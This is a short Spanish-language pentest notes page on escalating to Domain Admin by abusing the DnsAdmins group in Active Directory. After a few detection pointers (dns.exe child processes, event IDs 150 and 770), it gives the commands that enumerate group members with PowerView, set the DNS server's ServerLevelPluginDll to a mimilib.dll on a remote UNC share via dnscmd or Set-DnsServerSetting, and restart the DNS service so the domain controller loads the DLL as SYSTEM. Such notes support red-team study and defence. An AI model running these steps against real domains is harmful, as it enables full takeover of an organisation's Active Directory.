# PE - DNSAdmin

Los usuarios que son miembros del grupo 'DnsAdmins' tienen la capacidad de abusar de una característica del protocolo de gestión de DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un Controlador de Dominio (desde donde se ejecuta normalmente el DNS) para obtener privilegios de Administrador de Dominio.

Para identificarlo:

* Monitoriza los procesos hijos generados bajo DNS.exe en los servidores DNS.&#x20;

* Audita ACL para el privilegio de escritura en el objeto del servidor DNS y la pertenencia al grupo DNSAdmins&#x20;

* Supervisa los registros de eventos para el ID 150 \[fail] y el ID 770 \[success].

* Lista los miembros con DNSAdmins (PowerView)

```powershell
Get-NetGroupMember -Identity "DNSAdmins"
```

Una vez sabemos los miembros de este grupo, debemos comprometerlos.

Con los privilegios de los miembros de DNSADmins se configura una DLL usando dnscmd.exe (requiere RSAT DNS):

```
dnscmd dcorp-dc /config /serverlevelplugindll \\IP_Maquina_Remota\dll\mimilib.dll
```

Usamos el módulo DNSServer:

```
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
```

Reiniciamos el servicio DNS

```
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```
